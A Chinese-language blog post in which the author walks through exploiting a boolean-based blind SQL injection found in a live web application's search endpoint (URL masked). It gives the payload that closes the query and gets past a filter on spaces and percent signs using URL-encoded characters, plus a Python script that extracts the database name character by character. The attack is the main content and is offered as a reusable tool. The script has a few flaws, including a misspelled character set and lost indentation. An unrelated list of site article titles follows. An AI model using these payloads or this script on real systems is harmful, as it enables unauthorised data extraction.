布尔型盲注的PY交易
经过上一篇的良好反馈,我正好在项目中发现了这个布尔型漏洞,就编写了本篇文章,主体格式一样,但内容针对不同,下次看看在弄个什么的PY交易好,让我再想想。
确定问题点
在这次的测试过程中发现了一个注入点,通过测试发现返回包内包含了sql语句,确认可以注入,开始了这次的注入尝试。
首先我们可以确认这是一个GET型数据调用,本以为是简单的报错注入,应该可以直接利用sqlmap进行漏洞的利用,但现实狠狠的给了我一个耳光。sqlmap根本法利用这个漏洞,但返回的数据包中实打实出现我数据库语句,所以我把返回的数据库语句拿出来,开始了一点点的构造进程。
复制出来的数据库语句:
SELECT count(0) FROM customer c WHERE c.dealership_id = ? AND c.active = true AND (c.full_name LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%')
二、测试命令语句
经过实验,发现报错内容不同,可说明与参数确实可以影响数据库语句。但返回的内容需要进行闭合而且返回内容不可以利用,所以可以排除报错等类型注入形式,可以探测的注入类型就仅剩下两种了:时间型盲注,布尔型盲注直接在目标后加入测试语句。
构造数据库语句:
%’){测试语句}AND(c. full_name like ‘%test
返回成功,实现语句闭合(此外利用了数据库模糊查询like %%),在测试过程中发现存在过滤,单独%无法通过,空格无法通过,系统会返回404,针对之前爆出的数据库语句,利用%25和%20绕过对对单独%和空格的过滤构造出以上的数据库语句完成语句的闭合,成功返回200,确认可以返回正常数据包,并可以根据数据库语句的正确来进行布尔型盲注测试。
接下来确认测试语句
27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test
按位截取的形式进行匹配,确认数据库名称
三、工具思路
3.1 Post数据包利用
利用python的数据包发送来批量测试目标内容
和时间型盲注不同,布尔型盲注要根据返回数据包的不同来确认问题
%0a(ascii(substr(database(),{1},1))={0})%0a
利用find函数来查找返回的数据特征,判断是否成功得到注入数据
# coding:utf-8
import requests
import datetime
import time
headers = {
头信息,自己添加
}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.'
database = ''
for j in range(1,11):
for i in range(49,125):
Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test'
UrlFormat = Url.format(i,j) #format()函数使用
r = requests.get(UrlFormat,headers=headers)
d = r.content.find("Test") #利用find函数来查找返回的数据特征,判断是否成功得到注入数据
if d != -1:
print(i)
print chr(i)
database += chr(i)
print database
break
else:
pass
四、以后的想法
对于代码的未来,有如下的想法
1.加入数据包直接调用的功能 2.针对0值永真的修改 3.进行线程上的优化 4.编写GET方法的代码 5.进行整体代码的逻辑重构(这个是吹NB)
- css3动画从入门到精通
- ReactJs和React Native的那些事
- Linux学习-文件排序和FASTA文件操作
- Bash漏洞再次演进:缓冲区溢出导致远程任意命令执行
- Pandas,让Python像R一样处理数据,但快
- ViewPager 实现 Galler 效果, 中间大图显示,两边小图展示
- 最小生成树-Prim算法和Kruskal算法
- Bash漏洞批量检测工具与修复方案
- 组合模式
- 用Fiddler在Android上抓包(Http+https)
- Architecture Components ViewModel的控制。
- React Native之AppRegistry模块
- 揭秘:如何分分钟黑掉你的eBay账号
- C++初始化列表
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Angular应用input和div标签页的动态创建场景
- 在Angular的index.html里插入script,拦截所有动态创建标签页的场景
- Angular应用里input字段后面的_ngcontent-hqi是什么含义
- WPF 已知问题 窗口在屏幕外创建将不会刷新渲染
- NuGet 更新库新版本的缓存问题
- 在Java项目中打印错误日志的正确姿势,排查问题更方便,非常实用!
- 开源后台系统*mee-admin*
- stc89c52在Linux或MacOS下使用sdcc和stcgal中断与LCD测试代码
- 豆瓣9.2分!17万条弹幕告诉你《沉默的真相》凭什么口碑高开暴走!
- Shader 入门:GLSL ES(迭代、选择和跳转)
- Github 与 Git,新手初次接触的尴尬历程
- vue-cli3配置路径别名
- 【自动化测试】【Jest-Selenium】(02)—— Jest 匹配器
- 【自动化测试】【Jest-Selenium】(03)—— Jest 异步测试
- 【自动化测试】【Jest-Selenium】(04)—— Selenium WebDriver